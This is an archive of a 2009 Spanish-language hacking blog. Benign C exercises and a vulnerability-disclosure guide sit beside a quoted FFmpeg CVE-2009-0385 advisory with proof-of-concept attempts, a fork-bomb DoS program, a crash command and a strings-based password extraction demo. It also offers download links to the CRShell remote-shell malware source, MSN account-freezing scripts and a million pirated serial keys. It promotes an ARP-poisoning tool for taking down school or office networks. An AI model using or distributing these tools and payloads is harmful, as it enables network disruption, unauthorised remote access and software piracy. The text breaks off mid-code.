martes, 31 de marzo de 2009

[C] digit "Determinacion si un caracter es Digito o no"

6.1 Escriba una función dígito que determine si un carácter es uno de los dígitos 0,1,2,...9.

En la librería ctype.h se encuentra ya esa función pre programada como isdigit()

Descargar digit.c 224 B

#include<stdio.h>
#include<ctype.h>
 
int main() {
  char c;
 printf("Ingrese un digito: ");
  if(isdigit(getchar())) {
   printf("\nSi es digito!\n");
  }
 else {
  printf("\nNo es digito!\n");
  }
 return 0;
}

Ahora aqui la muestra con una función tal y como dice el ejercicio en este ejemplo con if

Descargar digit01.c 322 B

#include<stdio.h>
  
int esdigito(int);
 
int main() {
  char c;
 printf("Ingrese un digito: ");
  if(esdigito(getchar())) {
   printf("\nSi es digito!\n");
  }
 else {
  printf("\nNo es digito!\n");
  }
 return 0;
}
 
int esdigito(int c) {
  if(c>= '0' && c<= '9')
   return 1;
 else
  return 0;
 }

Y Ahora lo mismo pero en lugar de if seria Operador Ternario

Descargar digit02.c 300 B

#include<stdio.h>
 
int esdigito(int);
  
int main() {
 char c;
  printf("Ingrese un digito: ");
  if(esdigito(getchar())) {
   printf("\nSi es digito!\n");
  }
 else {
  printf("\nNo es digito!\n");
  }
 return 0;
}
 
int esdigito(int c) {
  return (c>= '0' && c<= '9') ? 1 : 0;
 }

Creo que es posible hacerlo con Expresiones regulares, sin embargo en mi opinión y para este caso seria lo mas optimo que se puede escribir la función.

Saludos

--
- Anon

sábado, 21 de marzo de 2009

Revistas HackxCrack

Hola que tal he agregado un mirror a estas revistas, espero y les sirvan.

HrackxCrack

Saludos

--
- Anon

[ES] CVE-2009-0385 mas detalles

Me he comunicado con Tobias Klein para pedir un mas detalles sobre la prueba de concepto para el bug descrito en el CVE-2009-0385, su comentario fue el siguiente

The vulnerability is 100% exploitable to execute arbitrary code. See http://tk-blog.blogspot.com/2009/01/exploitable-userland-null-pointer.html.

Tobi

Segun describe en su blog, logro confirmar la vulnerabilidad y controlar el EIP tanto en windows y opensuse.

El tiene un PoC, no le comente nada sobre el, mas que nada le pregunte sobre la estructura 4xm.

Tambien me he comunicado con Mike Melanson que al parecer hace tiempo que no hablar el tema del formato de los archivos 4xm su cometario fue el siguiente


What exactly are you trying to accomplish? I don't have all the details of the 4xm format fresh in my mind. All of my knowledge is written down in either that document, or the FFmpeg demuxer (I also wrote the xine 4xm demuxer).

Buscando sobre ello encontré con la pagina de la discusión de la vulnerabilidad

http://bugs.xine-project.org/show_bug.cgi?id=205

Ahi comenta que xine-lib tiene un problema similar al descrito por Tobias que lo discute en su blog

http://tk-blog.blogspot.com/2009/02/tkadv2009-004-vs-xine-lib.html

Bueno con esto ya tengo en mente que la vulnerabilidad del CVE-2009-0385 es explotable, espero terminar de entender el formato 4xm para poder terminar el PoC que la verdad es muy simple

Saludos
--
- Anon

[EN] CVE-2009-0385 more details

I contacted Tobias Klein asked for a more details on the proof of concept for the bug described in CVE-2009-0385, his comment was as follows

The vulnerability is 100% exploitable to execute arbitrary code. See http://tk-blog.blogspot.com/2009/01/exploitable-userland-null-pointer.html.

Tobi

As described in his blog, an achievement confirmed the vulnerability and control the EIP in windows and opensuse.

The PoC has not told her anything about him, more than anything you ask about the structure 4xm.

I have also communicated with Mike Melanson who apparently does not speak while the issue of the format of your files cometary 4xm was as follows

 What exactly are you trying to accomplish? I do not have all the details of the format 4xm fresh in my mind. All of my knowledge is written down either in that document, or the FFmpeg demuxer (I also wrote the xine demuxer 4xm).

Searching on this page to find the discussion of vulnerability

http://bugs.xine-project.org/show_bug.cgi?id=205

There he says that xine-lib has a problem similar to that described by Tobias discusses in his blog

http://tk-blog.blogspot.com/2009/02/tkadv2009-004-vs-xine-lib.html

Well I already have in mind the vulnerability CVE-2009-0385 is usable, I hope to understand format complete 4xm order to complete the PoC that truth is very simple

Regards

--
- Anon

viernes, 20 de marzo de 2009

[Python] ItMsnProtocol (Project)

Creado por Erik#
El script para desbloquearse esta genial.

Saludos



ItMsnProtocol Project

¿Que es?
Son unos scripts python de código abierto que usando la libreria msnp pueden crear diferentes sistemas de utilización.

Actuales scripts:
Actualmente, estamos creando FreezItMsn y ByPassItMsn.

FreezItMsn:
Es un script que mediante un cierto tiempo, cuestion de segundos, congela la cuenta de messenger, no permite abrir al usuario su cuenta, le da error.

ByPassItMsn:
Es un script que mediante un cierto tiempo, cuestion de segundos, inhabilita las congelaciones a tu cuenta.

Descargas:
Pack completo: http://krews.es/ItMsnProtocol.zip

A qui pongo un mirror parece que el sitio original esta ya caido:

http://cid-4d0c9dba4e99e162.skydrive.live.com/self.aspx/.Public/src/ItMsnProtocol.zip

--
- Anon

jueves, 19 de marzo de 2009

Cafeshito: Futura aplicación para Cybers.

CAFESHITO es una aplicacion para administrar, controlar, mediar el tiempo de consumo de los equipos de
computo conectados a la red del cybercafe, ya sean equipos conectado a la red local o equipos conectados
a la red inalambrica. CAFESHITO es una aplicacion de software libre desarrollada principalmente para los cybercafes que desean
aventurarse en la implementacion de redes monitoreadas de cybercafe sbre GNU/Linux.

CAFESHITO es un proyecto de software desarrollado por el grupo de programadores perteneciendes a la empresa
de seguridad informatica y desarrollo de software SIE-Group. SIE-Group es una empresa que patrocina y
desarrolla proyectos innovadores utiles para los usuarios.

CAFESHITO es un proyecto emprendido el 10 de Marzo del 2009 por el M.S.I Angel Cantu (Diabliyo) y como aun
es una version 'inestable' y en desarrollo, la pagina del proyeto esta abierta a propuestas, colaboraciones
o incorporacion de gente programadora interesada, para mayor informacion visitar el sitio.

Web del Proyecto:
---> http://cafeshito.sie-group.net/ <---

--
- Anon

miércoles, 18 de marzo de 2009

More than 1 million and Serial Key and Freeware Software

More than 1 million and Serial Key of Freeware and Software 2007-2008

Millon_Keys.txt.bz2

Regards



Mas de 1 millon  de Serial Key y Claves de Freeware y Software 2007-2008

Millon_Keys.txt.bz2

Saludos

--
- Anon

CVE-2009-0385: FFmpeg Type Conversion Vulnerability

Original Advisory

http://www.trapkit.de/advisories/TKADV2009-004.txt


Citar
==================
Technical Details:
==================

Source code file: libavformat/4xm.c

[..]
 93 static int fourxm_read_header(AVFormatContext *s,
 94                               AVFormatParameters *ap)
 95 {
 ..
103 [8]  int current_track = -1;
 ..
106 [9]  fourxm->track_count = 0;
107 [10] fourxm->tracks = NULL;
 ..
160      } else if (fourcc_tag == strk_TAG) {
161          /* check that there is enough data */
162          if (size != strk_SIZE) {
163              av_free(header);
164              return AVERROR_INVALIDDATA;
165          }
166 [1]      current_track = AV_RL32(&header[i + 8]);
167 [2]      if (current_track + 1 > fourxm->track_count) {
168             fourxm->track_count = current_track + 1;
169             if((unsigned)fourxm->track_count >= UINT_MAX /
                           sizeof(AudioTrack))
170               return -1;
171 [3]         fourxm->tracks = av_realloc(fourxm->tracks,
172                 fourxm->track_count * sizeof(AudioTrack));
173             if (!fourxm->tracks) {
174               av_free(header);
175               return AVERROR(ENOMEM);
176             }
177         }
178 [4] fourxm->tracks[current_track].adpcm = AV_RL32(&header[i + 12]);
179 [5] fourxm->tracks[current_track].channels = AV_RL32(&header[i + 36]);
180 [6] fourxm->tracks[current_track].sample_rate = AV_RL32(&header[i+40]);
181 [7] fourxm->tracks[current_track].bits = AV_RL32(&header[i + 44]);
[..]

[1] The signed int variable "current_track" (see [8]) is filled with user
    supplied data from the media file
[2] This statement checks if the user controlled value of "current_track"
    is greater than "fourxm->track_count". The variable "fourxm-
    >track_count" is initialized with 0 (see [9]). By supplying a value >=
    0x80000000 for "current_track" it is possible to cause a change in sign
    that results in "current_track" being negative. If "current_track" is
    negative, the if statement will always return false and the buffer
    allocation in [3] will never be reached.
[4] As "fourxm->tracks" is initialized with NULL (see [10]) and line 171 is
    never reached this leads to an exploitable NULL pointer dereference. It
    is possible to write 4 bytes of user controlled data to the memory
    location "NULL + current_track". As the value of "current_track" is
    also controlled by the user it is possible to write 4 bytes of
    arbitrary data at a wide range of memory addresses.
[5] See [4]
[6] See [4]
[7] See [4]

A malicious party may exploit this issue to execute arbitrary code by
overwriting a sensitive memory location (such as a GOT/IAT entry, a return
address, buffer length or boolean variable).


Afecta a algunos reproductores como xine Mplayer entre otros, Según yo solo podremos crear un DoS pero seria de ver.

Ya hay parche pero dudo que los linuxeros (Comunes) estén parcheando cada una de las vulnerabilidades que salen...

Bueno, he tratado de crear un PoC para la vulnerabilidad sin embargo no lo he logrado, tengo un archivo 4xm que según yo debería de funcionar o por lo menos eso creo.

Al parecer no he comprendido muy bien el formato de los los archivos 4xm.

El formato 4x Movie esta descrito aqui:
http://multimedia.cx/4xm-format.txt

Citar
4xm files appear to have the following general structure:

  RIFF header
    LIST-HEAD chunk
      LIST-HNFO chunk
    LIST-TRK_ chunk
      LIST-VTRK chunk
      LIST-STRK chunk
      [..more tracks..]
    LIST-MOVI chunk
      LIST-FRAM chunk
      LIST-FRAM chunk
      LIST-FRAM chunk
      [..more frame tracks..]

tengo duda de LIST-HNFO ya que de este no esta entre las decalaraciones de los Tag de la libreria:

libavformat/4xm.c

Código
#define  RIFF_TAG MKTAG('R', 'I', 'F', 'F')
#define _4XMV_TAG MKTAG('4', 'X', 'M', 'V')
#define  LIST_TAG MKTAG('L', 'I', 'S', 'T')
#define  HEAD_TAG MKTAG('H', 'E', 'A', 'D')
#define  TRK__TAG MKTAG('T', 'R', 'K', '_')
#define  MOVI_TAG MKTAG('M', 'O', 'V', 'I')
#define  VTRK_TAG MKTAG('V', 'T', 'R', 'K')
#define  STRK_TAG MKTAG('S', 'T', 'R', 'K')
#define  std__TAG MKTAG('s', 't', 'd', '_')
#define  name_TAG MKTAG('n', 'a', 'm', 'e')
#define  vtrk_TAG MKTAG('v', 't', 'r', 'k')
#define  strk_TAG MKTAG('s', 't', 'r', 'k')
#define  ifrm_TAG MKTAG('i', 'f', 'r', 'm')
#define  pfrm_TAG MKTAG('p', 'f', 'r', 'm')
#define  cfrm_TAG MKTAG('c', 'f', 'r', 'm')
#define  ifr2_TAG MKTAG('i', 'f', 'r', '2')
#define  pfr2_TAG MKTAG('p', 'f', 'r', '2')
#define  cfr2_TAG MKTAG('c', 'f', 'r', '2')
#define  snd__TAG MKTAG('s', 'n', 'd', '_')
 

Por lo cual dudo de su existencia, el PoC que hice esta usando dicha LIST pero al parecer el programa dentro del codigo no lo toma en cuenta, voy a seguir probando para generar un PoC que funcione:

Aqui esta el que cree 4xm_evil.4xm

El código en C con el cual lo cree esta bien raro, por lo cual mejor prefiero ordenarlo un poco mas y liberarlo.

Espero y les interese, Saludos.

--
- Anon

martes, 17 de marzo de 2009

[Cadena] Credo del Programador

Creo en un solo lenguaje de programación, "C" Todopoderoso
Creador de UNIX y de Windows
Creo en un solo "C++",
hijo único de "C" Nacido de "C" antes de "Visual C++"
"C" de "C", Compilador de Compilador,
"C"(c) copyrighted, Compilado, no interpretado,
de los mismos programadores que el Padre
por quien todo es programado,
que por nosotros los hombres y nuestros servidores
fue desarrollado
y por obra del Lenguaje Binario se encarnó en
ensamblador y se hizo Lenguaje
y por nuestra causa
es ampliamente aceptado en tiempos de Bill Gates.
Decayó y fue olvidado y se renovó al tercer día,
según los usuarios.
Y subieron las ventas, y esta ubicado dentro de todo UNIX
Por quien todo es programado
Y de nuevo vendrá mejorado para juzgar a virus y programas
Y su dominio no tendrá fin.
Creo en el lenguaje binario, código y base del sistema
Que precede al padre y al hijo. Que con el padre y el hijo
recibe una misma aplicación y memoria
y que habló por los procesadores...
Creo en la arquitectura IBM, que es una, sólida, compacta y compatible.
Confieso que no hay ni un solo "undo" para la corrección de los errores
Espero la resurrección de las Macs y la vida en un mundo con Internet...

Enter



--
- Anon

domingo, 15 de marzo de 2009

I need beta-testers 4 tequiLAN: simple tool a DoS on LAN

Bueno, escribo esto para solicitar su ayuda testear la herramienta que he creado "tequiLAN".

¿Que es tequiLAN?
Es una herramienta creada mediante libnet y libpcap, genera un DoS en la LAN utilizando ARP Poison.

¿Como lo hace?
A cada petición ARP-REQUEST que llege al NIC y que no tenga nuestra dirección IP Responde con un ARP-REPLY con la IP Pedida y una MAC Aleatoria.

Esto como la mayoría ya sabrá y ha experimentado con herramientas como nemesis, arpspoof entre otras, nos puede generar un DoS o si lo aprovechamos podremos crear un redirector de trafico hacia nuestra NIC sin embargo esos ya existen y pues no quiero reinventar la rueda.

¿Usos principales?
Pues si estamos en la escuela y no queremos hacer un examen Online o parecido pues simplemente podremos tumbar la red.
O igual si nos queremos dar un tiempo en el trabajo pues también lo usamos.

¿Ética?
Ninguna es una herramienta totalmente fuera de ética, solo lo programe por programarlo. Así que si alguien quiere comentar sobre mis intenciones o las implicaciones que pueda tener pues que me lo mande por PM y no aquí.



Archivo: tequiLAN_0.1.tar.bz2.gpg

Efecto sobre el router:



Consumo de Recursos al Reservar memoria para Equipos inexistentes

Efecto sobre las victimas:



DoS

Apariencia de la salida




Cosas que hay que testear

Utilidad del Makefile
¿Se necesitan cambios?
¿Otra organización?

Sugerencias para mejorar funciones, estructuras, compatibilidad, rendimiento, Licencia etc.

Bueno si alguien quiere ayudar a testear la librería, que me mande un correo y le paso el password.

Saludos

--
- Anon

jueves, 12 de marzo de 2009

publicado flv2mpeg4

Bueno, pues simple, ya fue publicado el mensaje de flv2mpeg4: Malformed parameters Denial of Service en securityfocus

http://www.securityfocus.com/archive/1/501704/30/0/threaded

haha no pensé que el error lo publicaran por el hecho de ser un error menor y además solo lo publique para ejemplificar como se podría dar el reporte de una vulnerabilidad, ya que anteriormente lo había mandado a milw0rm y me comentaron que no encajaba por el hecho de no poder escalar privilegios.



Saludos.

--
- Anon

Torneo de elevación de privilegios en WarZone (Torneo_Root)

Se ha hecho un torneo nuevo de elevación de privilegios llamado Torneo_Root.

El objetivo, es obtener root en el servidor, por cualquier manera posible.

Va a estar online por 1 mes exactamente

El primero que lo logre tendra puntos extra y una cuenta @elhacker.net con acceso a todos sus servicios.

Se daran puntos extras por cualquier vulnerabilidad local en el sistema que afecte la integridad del torneo.

Los detalles estan en:
http://warzone.elhacker.net/pruebas.php?p=56

Obtienen su login en el servidor en:
http://warzone.elhacker.net/wzon.php

Se conectan por SSH al puerto 22 (para usuarios de windows pueden usar PuTTy).

Fue hecha con la colaboración de hackbsd.org

Diviertanse!!

Saludos!!

--
- Anon

miércoles, 11 de marzo de 2009

Get codes and passwords unprotected program

This is a simple example of how it could violate an application to request password or keys, and that is not protected.

The example of the application binary that would be the following code:

easyKey.c
Código
#include <string.h>
#include <stdlib.h>
#include <stdio.h>
 
char *password = "A9D6B4C3E2F1";
 
int main(int argc, char **argv) {
if(argc == 2) {
if(strncmp(password,argv[1],strlen(password) ) == 0)
printf("ok\n");
else
printf("no\n");
}
else {
printf("Use:\n\t%s <key>\n",argv[0]);
}
return 0;
}
 
 

After compile and run:

Código
Anon@localhost % gcc -o easyKey easyKey.c
Anon@localhost % ./easyKey
Use:
   ./easyKey <key>
Anon@localhost % ./easyKey xD
no
Anon@localhost % ./easyKey 1234
no
 

Can see that the code "key" we can get using the strings that come in most Unix environments

Código:
Anon@localhost % strings easyKey
/libexec/ld-elf.so.1
FreeBSD
_Jv_RegisterClasses
libc.so.7
printf
puts
environ
__progname
strncmp
_init_tls
atexit
strlen
_end
FBSD_1.0
$FreeBSD: src/lib/csu/i386-elf/crti.S,v 1.7 2005/05/19 07:31:06 dfr Exp $
A9D6B4C3E2F1
Use:
    %s <key>
$FreeBSD: src/lib/csu/i386-elf/crtn.S,v 1.6 2005/05/19 07:31:06 dfr Exp $
Anon@localhost % ./easyKey A9D6B4C3E2F1
ok

I hope and will help you someday.

Regards

--
- Anon

martes, 10 de marzo de 2009

Conseguir Codigos y contraseñas de programas desprotegidos

Este es un ejemplo sencillo de como se puede llegar a vulnerar una aplicación que pida serial o password y que no este protegida.

El ejemplo de la aplicación seria el binario que resulte del siguiente código:

easyKey.c

Código
#include <string.h>
#include <stdlib.h>
#include <stdio.h>
 
char *password = "A9D6B4C3E2F1";
 
int main(int argc, char **argv) {
if(argc == 2) {
if(strncmp(password,argv[1],strlen(password) ) == 0)
printf("ok\n");
else
printf("no\n");
}
else {
printf("Use:\n\t%s <key>\n",argv[0]);
}
return 0;
}
 
 

Despues de compilarlo y ejecutarlo:

Código
Anon@localhost % gcc -o easyKey easyKey.c
Anon@localhost % ./easyKey
Use:
   ./easyKey <key>
Anon@localhost % ./easyKey xD
no
Anon@localhost % ./easyKey 1234
no
 

Podremos observar que dicho codigo "key" lo podemos obtener mediante la utilidad strings que viene en la mayoría de los Entornos Unix

Código:
Anon@localhost % strings easyKey
/libexec/ld-elf.so.1
FreeBSD
_Jv_RegisterClasses
libc.so.7
printf
puts
environ
__progname
strncmp
_init_tls
atexit
strlen
_end
FBSD_1.0
$FreeBSD: src/lib/csu/i386-elf/crti.S,v 1.7 2005/05/19 07:31:06 dfr Exp $
A9D6B4C3E2F1
Use:
    %s <key>
$FreeBSD: src/lib/csu/i386-elf/crtn.S,v 1.6 2005/05/19 07:31:06 dfr Exp $
Anon@localhost % ./easyKey A9D6B4C3E2F1
ok

Espero y les sirva algún día.

Saludos

--
- Anon

[FreeBSD] "Login Class" Limites y Clases para los Usuarios

Bueno para que no se confundan desde ahorita, no me estoy refiriendo a los clásicos grupos del sistema UNIX, ya que generalmente estos solo nos dan restricciones sobre direcctorios y procesos que se nos permiten ejecutar, pero que hay de restringir el uso de la memoria o del CPU, Numero de Processos etc.

Dentro de FreeBSD el archivo /etc/login.conf nos permite gracer nuevas clases de usuarios para ajustar estos niveles de restricciones.

Por defecto el sistema nos coloca en default:

default:\
        :passwd_format=blf:\
        :copyright=/etc/COPYRIGHT:\
        :welcome=/etc/motd:\
        :setenv=MAIL=/var/mail/$,BLOCKSIZE=K,FTP_PASSIVE_MODE=YES:\
        :path=/sbin /bin /usr/sbin /usr/bin /usr/games /usr/local/sbin /usr/local/bin /usr/X11R6/bin ~/bin:\
        :nologin=/var/run/nologin:\
        :cputime=unlimited:\
        :datasize=unlimited:\
        :stacksize=unlimited:\
        :memorylocked=unlimited:\
        :memoryuse=unlimited:\
        :filesize=unlimited:\
        :coredumpsize=unlimited:\
        :openfiles=unlimited:\
        :maxproc=unlimited:\
        :sbsize=unlimited:\
        :vmemoryuse=unlimited:\
        :priority=0:\
        :ignoretime@:\
        :umask=022:

Como podremos ver esa clase de usuarios no tiene restriccion sobre los recursos.

Por describir un ejemplo real que he usado al momento de configurar el servidor para "Torneo Shell" en el warzone de elhacker.net.

Cree un clase de usuario llamada "Warusers" con lo cual limitaba los recursos del servidor el codigo es el siguiente:

warusers:\
       :copyright=/etc/COPYRIGHT:\
       :welcome=/etc/motd:\
       :setenv=MAIL=/var/mail/$,BLOCKSIZE=K:\
       :path=~/bin /bin /usr/bin /usr/local/bin:\
       :manpath=/usr/share/man /usr/local/man:\
       :nologin=/var/run/nologin:\
       :cputime=10m:\
       :datasize=8M:\
       :vmemoryuse=80M:\
       :stacksize=2M:\
       :memorylocked=4M:\
       :memoryuse=8M:\
       :filesize=8M:\
       :coredumpsize=1M:\
       :openfiles=48:\
       :maxproc=64:\
       :priority=0:\
       :umask=077:\
       :ignoretime@:

Con estas opciones podremos indicar hasta un archivo motd diferente para cada tipo de usuarios que tengamos en nuestro sistema. Limitamos cosas como el tiempo del CPU, la memoria, el Uso del Disco duro, Numero de procesos en ejecucion etc.

Anteriormente había colocado el tema de Fun D.o.S. local on a Unix system poorly managed con el cual generabamos una Denegacion de Serivicio al equipo por el hecho de consumir los procesos, esta es la solucion el campo maxproc especificamos el numero de procesos maximo lo cual nos daria cierta cantidad mas de control sobre el sistema otra muy recomendable es el opendiles la cual tambien es muy limitante sobre lo que pueden o no pueden hacer los usarios, el punto donde se especifica el login class a los usuarios es con el comando pw el cual podremos modificar la clase del usuario en cuestion y podre asi tener control sobre los recursos.

Espero y les sea de su ayuda.

Saludos
--
- Anon

[Tools] Microsoft Visual C++ Toolkit 2003

Bueno programaba en C/C++ bajo windows una de las herramientas propias de microsoft era el Toolkit de Microsoft Visual C++ 2003 hera una herramienta a mi punto de vista buena, el compilador en linea cl tenia muchas opciones similares a las que tiene el gcc de unix, sin embargo esta herramienta fue sustituida por una mas pesada me refiero al Microsoft Visual Toolkit 2005 creo y la versión anterior dejo de estar disponible, es por ello que la he vuelto a subir para que la puedan descargar si es que la están buscando.

Descargar VCToolkitSetup.exe

MD5 (VCToolkitSetup.exe) = 90d8b963ca196aa9855b2ca6c3174c14
SHA1 (VCToolkitSetup.exe) = 50dc6cca1503f08a41d56816f3f1abcaf347b0bd

Pesa 31 Megabytes el instalador sin embargo una vez instalado pesa mucho mas, instala una versión vieja del Microsoft .NET Framework 1.1

Sirve muy buen para compilar pequeñas aplicaciones con un C estandar.

Espero y les sea de utilidad.

Saludos.
--
- Anon

lunes, 9 de marzo de 2009

[tools] nc11nt.zip Netcat 1.1 para Windows

En repetidas ocasiones he visto que se seguido se pide dicha herramienta y muchas veces no es encontrada fácilmente.

Archivo: nc11nt.zip.gpg
Password: TevP6y9OSzSHQD
MD5 (nc11nt.zip.gpg) = 321886e9c17c0065b439490febceb224
SHA1 (nc11nt.zip) = c8812f5cb4e9d51280c25587ff0f58345c1b171f

Archivo: nc11nt.zip
MD5 (nc11nt.zip) = ec23eb106197f0616a7b2b5556ad72bd
SHA1 (nc11nt.zip) = c8812f5cb4e9d51280c25587ff0f58345c1b171f

Archivo: nc.exe
MD5 (nc.exe) = e0fb946c00b140693e3cf5de258c22a1
SHA1 (nc.exe) = 57f0839433234285cc9df96198a6ca58248a4707

Muchas veces es borrada por descuido ya que se teme que sea un virus o similar.

El uso de esta herramienta va de todos tipos desde administrativos, didacticos, es cliente multinacional, sirve en la mayoría de los protocolos de TCP/IP

Espero y les sirva.

Saludos

--
- Anon

Fun D.o.S. local on a Unix system poorly managed

DoS_Local_fork.c

El siguiente código en C genera múltiples procesos, esto causa una Denegación de Servicio en un sistema mal administrado.

Código
int main()	{
while(1)
fork();
}

existen distintas maneras de protegerse de este código o "vulnerabilidad", todo depende del sistema que estés usando.

Agregare la de FreeBSD después.

Saludos.

--
- Anon

domingo, 8 de marzo de 2009

Como reportar vulnerabilidades

Ya sea que encontremos un bug/error de pura casualidad o investigación y logremos detallar los pasos de como lo descubrimos y/o realizamos en ese momento podremos dar reporte a la falla.

  • El primer paso es delimitar el alcance de la falla.
Verificamos si es la ultima versión del software ya que si no es así o si existen actualizaciones que no tengamos puede que demos con una falla vieja, esta puede o no puede estar reportada.

Dependiendo de esto ultimo procederemos o no y trataremos de ver si versiones anteriores son vulnerables también.
  • Medir el impacto de la falla
Aqui determinamos el impacto de la falla sobre el sistema que la hospeda, entre los mas comunes tenemos:

Denegación de Servicio
Es el mas común, generalmente no pasaremos de hacer que la aplicación deje de funcionar

Consumo de recursos
Si no deja de funcionar, podremos causar algún consumo adicional de memoria y/o microprocesador

Ejecución de Código
Es lo que se busca en la mayoría de las veces, si logramos insertar código y ejecutarlo el sistema podría estar totalmente comprometido

Revelado de información
En dado caso podríamos revelar información que se supone que no deberíamos de poder ver.

Algun Error menor
Se podría dar la situación en la simplemente sobrescribamos alguna variable menor. Solo por mencionar algún ejemplo.

  • Encontrar el medio de comunicación con el creador del software (vendor)
Esto es mas importarte. La mayoría de los software que son públicos tienen un correo/pagina de contacto. Es importante comunicarte con el vendor y darle detalles de la falla que encontraste los pasos que seguiste, y si puedes da sugerencias para mejorar el software.

  • Arreglado/Corregido
Después de Intercambiar algunos correos y ver que el bug sea arreglado y este disponible un parche o nueva versión ahora si es posible publicar el bug en un blog/web propios y posteriormente publicarlo en alguna pagina como securityfocus, milw0rm entre otras.

Cabe mencionar que muchas veces el bug no sera parcheado o puede tardar mucho.




Formato sugerido para el reporte de bug

Generalmente estos se reportan en texto plano.
La mayoría de lista de correo esperan no mas de 80 caracteres por fila.
Organización y Secciones recomendadas
  • Limitación
  • Descripción del Software
  • Descripción del Problema
  • Impacto
  • Solución
  • Referencias
  • Créditos

La organización de dichas secciones puede variar y por su puesto que estas se reportan en ingles.

--
- Anon

flv2mpeg4: Malformed parameters Denial of Service

flv2mpeg4bug.txt.asc

-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

=============================================================================
Sun Mar 8 21:06:34 CST 2009 Heuristics and Exploiting Vulnerabilities
elhacker.net

Topic: flv2mpeg4: Malformed parameters Denial of Service

======================================================================

Table of Contents

1- Affected Software.
2- Background.
3- Problem Description.
4- Severity
5- Solution
6- Time Table
7- Credits
8- About elhacker.net

======================================================================
1) Affected Software

flv2mpeg4 v1.1

Prior versions may also be affected.

======================================================================
2) Background

flv2mpeg4 allows you convert a Flash Video / FLV file (YouTube's videos,etc)
to MPEG4 (AVI/MOV/MP4/MP3/3GP) file online. It is using a compressed domain
transcoder technology (outline in Japanese). It converts FLV to MPEG4 faster
and less lossy than a typical transcoder.

http://www.freebsd.org/cgi/url.cgi?ports/multimedia/flv2mpeg4/pkg-descr

======================================================================
3) Problem Description

As we can see flv2mpeg4 receives 2 parameters the first is expected to be
a flv file and second mpeg4 (AVI/MOV/MP4/MP3/3GP), the problem is a clerical
error in the parameters or a parameter poorly trained, causing the
application to stop running unexpectedly

for example:

Anon@localhost % flv2mpeg4 Video.flv Video.mpg
Segmentation fault (core dumped)

in this mpg extension is incorrect

Anon@localhost % flv2mpeg4 Video.flv `perl -e '{print "A"x4000,".avi"}'`
Segmentation fault (core dumped)

Although the extension is correct in this case, does not allow such a long
file name

======================================================================
4) Severity

Rating: Very low risk
Impact: Denial of service
Where: Local

======================================================================
5) Solution

Run flv2mpeg4 done correctly with the parameters in order

======================================================================
6) Time Table

22/12/2008 - Vendor notified.
23/12/2008 - Vendor response.
08/03/2009 - Public disclosure.

======================================================================
7) Credits

Discovered by Anon, elhacker.net

======================================================================
8) About elhacker.net

Overall objective of the forum elhacker.net
Promote research and encourage the dissemination of knowledge by providing
a means of information, protecting and fighting for their freedom.

Subforum Heuristics and exploitation of vulnerabilities.
Following the overall objective of the forum, subforum Heuristics and
exploitation of vulnerabilities (Bugs and Exploits), aims at promoting
research into techniques for detection and exploitation of vulnerabilities
in any operating system or program that might allow the execution of
arbitrary code, or any other means which violate the confidentiality,
integrity, or availability of information.

http://foro.elhacker.net/
http://foro.elhacker.net/bugs_y_exploits-b32.0/

=============================================================================
-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.4.9 (FreeBSD)

iEYEARECAAYFAkm0mE4ACgkQd963iVkvICn7GQCeIonHNhFV/pdu7uvuZG4ucq+A
lMEAoIEDL8JsG1mbb2RrAutEN2TaXs/5
=mi4f
-----END PGP SIGNATURE-----
--
- Anon

Mas sobre el User Agent: Idioma-Pais

Con firefox aunque cambiemos el user agent también es importante cambiar el Idioma-Pais por ejemplo ahorita uno muy comun de firefox:

Mozilla/5.0 (Windows; U; Windows NT 6.0; es-ES; rv:1.9.0.6) Gecko/2009011913 Firefox/3.0.6

Vemos que es-ES se refiere a español españa y hay otros de es-AR de Argentina, que raro no he visto es-MX pero bueno, podriamos porner algo muy lejano de nosotros e incluso inexistene solo para confundir.

Sin embargo hay que tomar en cuenta que si es inexistente se puede llegar a sospechar la falsedad del User-Agent.

He aqui la lista de las Abreviaciones Idioma-Pais que he llegado a capturar:
  • en-US Estados Unidos
  • en-GB Gran Bretaña
  • pt-BR Brazil
  • es-ES España
  • es-AR Argentina
¿Algun otro que conoscan? paraa agregar a la lista, de preferencia alguno Ruso, Koreano, Chino, Indio, Afgano, en Fin Asiatico, y Medio Oriente u Norte de Europa.

Saludos
--
- Anon

CRShell Source Code

Archivo: CRShell Source Code
Password: 3I0VNE0Vcx4

Bueno, en alguna ocasión un compañero lo estaba buscando y no daba con el buscando en google lo encontré junto con un directorio lleno de otros malwares y pues aquí lo tienen.

Dejo a continuación parte de los archivos de Información


CRShell

Programado por XpyXt

URL: http://xpyxt.no-ip.com
URL2: http://xpyxt.no-ip.info/crshell

Mail: xpyxt@desdeinter.net


Informacion del contenido

- Directorio /Cliente Linux
Contiene el codigo fuente del cliente para linux
Para compilar con GCC

- Directorio /Cliente Windows
Contiene el codigo fuente del cliente para Windows
Para compilar con Visual C++ 6.0

- Directorio /Editor Linux
Contiene el codigo fuente del editor para linux
Para compilar con GCC

- Directorio /Editor Windows
Contiene el codigo fuente del editor para Windows
Para compilar con Visual C++ 6.0

- Directorio /Servidor w2k
Contiene el codigo fuente del servidor para Windows 2000
Version del servidor 1.0
Para compilar con Visual C++ 6.0


- Directorio /Servidor w2k w2k3
Contiene el codigo fuente del servidor para Windows 2000 y Windows 2003
Version del servidor 1.1
Para compilar con Visual C++ 6.0

-[ Version 1.1 ]-

Servidor:
 + Funcional con Windows 2003
 = Funcional en Windows 2000
 = Parametro de ayuda crshell.exe --help
 + Continuas en donde anteriormente te habias quedado en el CMD
 - Cada vez que te conectas crea un redireccion del CMD

-[ Version 1.0 ]-

Servidor:
 + Funcional en Windows 2000
 + Parametro de ayuda crshell.exe --help   
 + Cada vez que te conectas crea un redireccion del CMD
Cliente:
 + Conexion simple \r\n
Editor
 + Lee el servidor
 + Configura el servidor

Leyenda
 + Funcion nueva
 - Funcion quitada
 = Funcion en anterior version


1- CRShell es un programa que es distribuido bajo los términos de la Licencia Publica General (GPL)

2- La copia de cualquier parte del código para ponerlo en otro programa diferente, el autor de dicho programa esta acuerdo en que el código completo de su programa pase a ser software libre, por lo debera estar apegado a los terminos establecidos por la licencia GPL.

Es decir que, el código de CRShell solo puede ser tomado si se va a usar en otro proyecto de software libre. De lo contrario absténgase de usar el código.

3- Tu no has programado ni una linea de este código, no te lo apropies, no te adjudiques méritos que no tienes.

Espero y les sirva

Saludos.
--
- Anon

MAC Address Random

Bueno e aqui un sencillo codogp en C para generar MAC Address Random:

macRandom.c
Código
#include<stdio.h>
 
int main()      {
       unsigned long mac[2];
